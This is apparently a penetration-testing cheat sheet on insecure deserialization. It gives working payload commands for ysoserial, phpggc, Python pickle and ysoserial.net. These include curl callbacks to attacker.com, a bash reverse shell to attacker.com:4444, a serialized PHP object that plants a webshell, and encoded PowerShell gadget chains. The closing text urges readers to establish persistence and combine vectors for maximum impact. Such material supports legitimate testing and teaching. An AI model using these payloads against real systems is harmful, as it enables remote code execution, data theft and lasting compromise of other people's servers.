Insecure Deserialization: Java ysoserial, PHP Object Injection, and .NET Gadget Chains
Insecure deserialization occurs when an application deserializes data from an untrusted source without adequate validation. Attackers can modify serialized objects to achieve authentication bypass, privilege escalation, or remote code execution. This vulnerability is notoriously difficult to detect and often leads to critical findings.
What is Deserialization?
| Language/Platform | Format | Tool | Gadget Chain Example | Impact |
|---|---|---|---|---|
| Java | Binary (serialized) | ysoserial | CommonsCollections1-7, Spring, etc. | RCE |
| PHP | Text serialized | PHPGGC | Monolog, Laravel, Symfony chains | RCE / file write |
| Python (pickle) | Binary | Manual | os.system() in __reduce__ | RCE |
| Ruby | Marshal | universal_gadget_chain | Rails / Devise chains | RCE |
| .NET | BinaryFormatter | ysoserial.net | TypeConfuseDelegate, ActivitySurrogateSelector | RCE |
| Node.js | JSON + constructor | Manual | Prototype pollution via JSON | Auth bypass |
Serialization converts an object's state into a storable/transmittable format (bytes, JSON, XML). Deserialization reconstructs the object from that format. Vulnerabilities arise when:
- The serialized data comes from user input (cookies, form fields, API parameters)
- The application deserializes without type checking
- Classes exist in the application's classpath that perform dangerous operations during construction or property access (gadget chains)
Java Deserialization with ysoserial
Java's native serialization uses a binary format starting with the magic bytes AC ED 00 05 (hex) or rO0A in base64. These bytes in cookies, parameters, or request bodies indicate Java deserialization.
Identifying Java Serialization
# Check for serialized Java in base64-encoded cookies:
echo "rO0ABXNyACJvcmcuYXBhY2hlLm..." | base64 -d | xxd | head
# Look for: ac ed 00 05
# Common locations:
# - Session cookies (viewstate, JSESSIONID alternatives)
# - Request parameters
# - HTTP body in REST APIs
ysoserial Gadget Chains
# Install ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# List available gadget chains
java -jar ysoserial-all.jar 2>&1 | head -30
# Generate a payload using CommonsCollections1 (Apache Commons)
java -jar ysoserial-all.jar CommonsCollections1 'curl http://attacker.com/rce?cmd=id' | base64
# Common gadget chains:
# CommonsCollections1-7 Apache Commons Collections (very common library)
# Spring1, Spring2 Spring Framework
# Hibernate1, Hibernate2 Hibernate ORM
# BeanShell1 BeanShell interpreter
# URLDNS DNS-only (for blind detection)
Blind Detection with URLDNS
# URLDNS performs a DNS lookup only - useful for confirming deserialization without needing RCE
java -jar ysoserial-all.jar URLDNS "http://UNIQUE_ID.burpcollaborator.net" | base64
# If you receive a DNS callback, deserialization is confirmed
# Then escalate to CommonsCollections or other RCE gadgets
PHP Object Injection
PHP's unserialize() function reconstructs PHP objects. The danger lies in magic methods that execute automatically during deserialization:
__wakeup()— Called automatically when an object is unserialized__destruct()— Called when the object is garbage collected__toString()— Called when the object is used as a string__call()— Called when an undefined method is invoked
PHP Serialized Format
# PHP serialized string example
O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"isAdmin";b:0;}
# Format breakdown:
# O = Object, 4 = class name length, "User" = class name
# 2 = number of properties
# s = string, 8 = length, "username" = key; s:5 "admin" = value
# b = boolean, 0 = false
Crafting a PHP Object Injection Payload
# Vulnerable code pattern:
class Logger {
public $logFile = '/var/log/app.log';
public $logData;
public function __destruct() {
file_put_contents($this->logFile, $this->logData);
}
}
# Malicious serialized payload (writes a PHP webshell)
O:6:"Logger":2:{s:7:"logFile";s:25:"/var/www/html/shell.php";s:7:"logData";s:30:"<?php system($_GET['cmd']); ?>";}
# URL-encode for cookie injection
O%3A6%3A%22Logger%22%3A2%3A%7Bs%3A7%3A%22logFile%22%3Bs%3A25%3A%22...
PHP POP Chain Exploitation
Property Oriented Programming (POP) chains link together multiple class methods to achieve RCE. Tools like phpggc (PHP gadget chains generator) automate this:
# Install phpggc
git clone https://github.com/ambionics/phpggc
cd phpggc
# List available chains for common frameworks
./phpggc --list
# Generate a payload for Laravel (RCE)
./phpggc Laravel/RCE5 "system('id')" | base64
# Symfony
./phpggc Symfony/RCE4 "exec('/bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1')"
# Guzzle (very common HTTP client)
./phpggc Guzzle/RCE2 "system('id')"
Python Pickle Deserialization RCE
Python's pickle module is notoriously unsafe for untrusted data. The __reduce__ method is called during unpickling:
import pickle, os, base64
class RCE:
def __reduce__(self):
return (os.system, ('curl http://attacker.com/rce?cmd=id',))
# Generate the malicious pickle payload
payload = base64.b64encode(pickle.dumps(RCE()))
print(payload)
# The payload when unpickled will execute the OS command
# Look for pickle data in: Flask session cookies (if secret key known),
# Redis-cached session data, ML model files
.NET BinaryFormatter
The .NET BinaryFormatter (now deprecated by Microsoft) was widely used and remains in many legacy applications. The ysoserial.net tool generates gadget chains:
# Install ysoserial.net
# Download from https://github.com/pwntester/ysoserial.net
# List available gadgets
ysoserial.exe -l
# Generate TypeConfuseDelegate payload (works on most .NET versions)
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "calc.exe" -o base64
# ActivitySurrogateSelector (bypasses newer .NET restrictions)
ysoserial.exe -g ActivitySurrogateSelector -f BinaryFormatter -c "powershell -enc BASE64_PAYLOAD"
# For ViewState attacks (ASP.NET Web Forms)
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "powershell -enc ..." --validationalg="SHA1" --validationkey="KEY"
Detection in Burp Suite
- Search for magic bytes in base64-encoded parameters:
rO0A(Java),O:(PHP),(Python pickle) - Use the "Java Deserialization Scanner" Burp extension for automated detection
- Install "Freddy - Deserialization Bug Finder" extension for Java and .NET
- Check ViewState for .NET applications — decode from base64 and look for SOAP/binary format
After achieving RCE via deserialization, establish persistence with our Reverse Shell Generator. Deserialization vulnerabilities in APIs often coexist with SSTI and other injection flaws — combine multiple vectors for maximum impact.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides